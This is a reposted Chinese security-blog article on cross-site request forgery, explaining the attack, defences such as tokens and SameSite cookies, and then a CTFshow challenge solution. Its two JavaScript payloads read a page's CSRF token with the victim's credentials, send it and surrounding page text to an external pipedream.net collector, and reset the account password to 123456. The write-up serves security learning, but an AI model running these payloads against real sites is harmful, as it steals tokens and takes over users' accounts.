CTFshow:请求伪造漏洞_CSRF

admin 2026-03-03 05:01:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详解跨站请求伪造(CSRF)的原理与防御,重点展示CTFshow实战案例。作者编写JS代码提取CSRFToken并构造恶意请求,成功修改密码获取flag,演示了漏洞利用流程。内容结合理论与代码实战,为Web安全学习者提供了清晰的复现思路与技巧。 综合评分: 84 文章分类: WEB安全,CTF,漏洞分析,渗透测试,漏洞POC


cover_image

CTFshow:请求伪造漏洞_CSRF

原创

小话安全 小话安全

小话安全

2026年2月26日 17:43 山东

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全漏洞,攻击者利用用户已登录的身份,在用户不知情的情况下,诱导其浏览器向目标网站发送恶意请求,从而执行非用户本意的操作。

攻击原理

  • 依赖认证信息自动携带:浏览器在发送请求时,会自动携带目标网站的Cookie(如会话ID)、IP地址等认证凭据。
  • 用户已登录目标网站:攻击成功的前提是用户已在浏览器中登录了目标网站(如银行、社交平台)。
  • 恶意请求构造:攻击者在第三方站点(如恶意网站、邮件、论坛)中嵌入精心构造的请求链接或表单,用户访问时浏览器自动触发请求。

示例流程

  1. 用户登录银行网站A,浏览器保存了A的会话Cookie。
  2. 用户未退出A,又访问了恶意网站B。
  3. 网站B包含一个隐藏的请求(如<img src="http://bank.com/transfer?to=攻击者&amount=1000">)。
  4. 浏览器请求该资源时,自动携带A的Cookie,银行服务器误以为是用户本人操作,执行转账。

主要危害

  • 篡改用户数据(如修改密码、邮箱)。
  • 执行敏感操作(如转账、发帖、购物)。
  • 可能导致账户被完全控制或资金损失。

常见防御措施

  1. CSRF Token 服务器生成随机字符串(Token)嵌入表单,提交时校验。攻击者无法获取Token,因此无法构造有效请求。
  2. SameSite Cookie属性 设置Cookie的SameSiteStrictLax,限制第三方网站发起请求时携带Cookie。
  3. 验证Referer/Origin头 检查请求来源,拒绝来自非可信域的请求。

获取token

(async&nbsp;() => {&nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp;&nbsp;// 可能包含flag的路径列表&nbsp; &nbsp;&nbsp;const&nbsp;paths = ['/',&nbsp;'/modify'];&nbsp; &nbsp;&nbsp;let&nbsp;found =&nbsp;false;
&nbsp; &nbsp;&nbsp;for&nbsp;(const&nbsp;path&nbsp;of&nbsp;paths) {&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;url =&nbsp;new&nbsp;URL(path,&nbsp;window.location.origin).href;&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;res =&nbsp;await&nbsp;fetch(url, {&nbsp;credentials:&nbsp;'include',&nbsp;method:&nbsp;'GET'&nbsp;});&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;txt =&nbsp;await&nbsp;res.text();
&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;flagStart = txt.indexOf('csrf_token');&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(flagStart !== -1) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 提取flag本身(ctfshow{ + 后30字符,共38字符)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;flag = txt.substr(flagStart,&nbsp;38);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 提取上下文:flag前100字节、后100字节(注意边界)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;contextStart =&nbsp;Math.max(0, flagStart -&nbsp;100);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;contextEnd =&nbsp;Math.min(txt.length, flagStart +&nbsp;38&nbsp;+&nbsp;100);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;context = txt.substring(contextStart, contextEnd);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 构建要发送的数据&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;payload = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;url: url,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;context: context,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;flag: flag&nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 发送到远程服务器&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;headers =&nbsp;new&nbsp;Headers();&nbsp; &nbsp; &nbsp; &nbsp; headers.append("Content-Type",&nbsp;"application/json");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;options = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;method:&nbsp;"POST",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;mode:&nbsp;"cors",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body:&nbsp;JSON.stringify(payload),&nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;await&nbsp;fetch("https://eo4bp0sd9m8wz5c.m.pipedream.net", options);
&nbsp; &nbsp; &nbsp; &nbsp; found =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp;// 找到后停止遍历&nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(!found) {&nbsp; &nbsp; &nbsp;&nbsp;console.log("未找到ctfshow{标志");&nbsp; &nbsp; }&nbsp; }&nbsp;catch&nbsp;(e) {&nbsp; &nbsp;&nbsp;console.error(e);&nbsp; }})();

更改密码

(async&nbsp;() => {&nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;paths = ['/',&nbsp;'/modify'];&nbsp; &nbsp;&nbsp;let&nbsp;found =&nbsp;false;
&nbsp; &nbsp;&nbsp;for&nbsp;(const&nbsp;path&nbsp;of&nbsp;paths) {&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;url =&nbsp;new&nbsp;URL(path,&nbsp;window.location.origin).href;&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;res =&nbsp;await&nbsp;fetch(url, {&nbsp;credentials:&nbsp;'include',&nbsp;method:&nbsp;'GET'&nbsp;});&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;txt =&nbsp;await&nbsp;res.text();
&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;flagStart = txt.indexOf('csrf_token');&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(flagStart !== -1) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 原有逻辑:提取上下文并发送到远程服务器&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;flag = txt.substr(flagStart,&nbsp;38);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;contextStart =&nbsp;Math.max(0, flagStart -&nbsp;100);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;contextEnd =&nbsp;Math.min(txt.length, flagStart +&nbsp;38&nbsp;+&nbsp;100);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;context = txt.substring(contextStart, contextEnd);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 精确提取 CSRF token 值(支持 input 隐藏域和 meta 标签)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;csrfToken =&nbsp;'';&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;inputMatch = txt.match(/name=["']csrf_token["']\s+value=["']([^"']+)["']/i);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(inputMatch) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; csrfToken = inputMatch[1];&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;metaMatch = txt.match(/<meta\s+name=["']csrf-token["']\s+content=["']([^"']+)["']/i);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(metaMatch) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; csrfToken = metaMatch[1];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 将上下文和 token 发送到远程服务器(用于记录)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;payload = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;url: url,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;context: context,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;flag: flag,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;csrfToken: csrfToken&nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;headers =&nbsp;new&nbsp;Headers();&nbsp; &nbsp; &nbsp; &nbsp; headers.append("Content-Type",&nbsp;"application/json");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;options = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;method:&nbsp;"POST",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;mode:&nbsp;"cors",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body:&nbsp;JSON.stringify(payload),&nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;await&nbsp;fetch("https://eo4bp0sd9m8wz5c.m.pipedream.net", options);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 若成功提取到 token,则尝试修改密码&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(csrfToken) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;formData =&nbsp;new&nbsp;URLSearchParams();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; formData.append('password',&nbsp;'123456');&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; formData.append('csrf_token', csrfToken);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 修改密码的提交地址通常为当前页面 URL(也可根据实际情况调整)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;modifyUrl = url;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;await&nbsp;fetch(modifyUrl, {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;method:&nbsp;'POST',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;credentials:&nbsp;'include',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;headers: {&nbsp;'Content-Type':&nbsp;'application/x-www-form-urlencoded'&nbsp;},&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;body: formData&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log('密码修改请求已发送(新密码:123456)');&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;console.log('未找到精确的 CSRF token 值,无法修改密码');&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; found =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp;// 找到第一个符合条件的页面后停止遍历&nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(!found) {&nbsp; &nbsp; &nbsp;&nbsp;console.log("未找到 csrf_token 标志");&nbsp; &nbsp; }&nbsp; }&nbsp;catch&nbsp;(e) {&nbsp; &nbsp;&nbsp;console.error(e);&nbsp; }})();

登录成功

获得flag

直播时间2月26日晚21:00


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小话安全 小话安全 小话安全《CTFshow:请求伪造漏洞_CSRF》

评论:0   参与:  0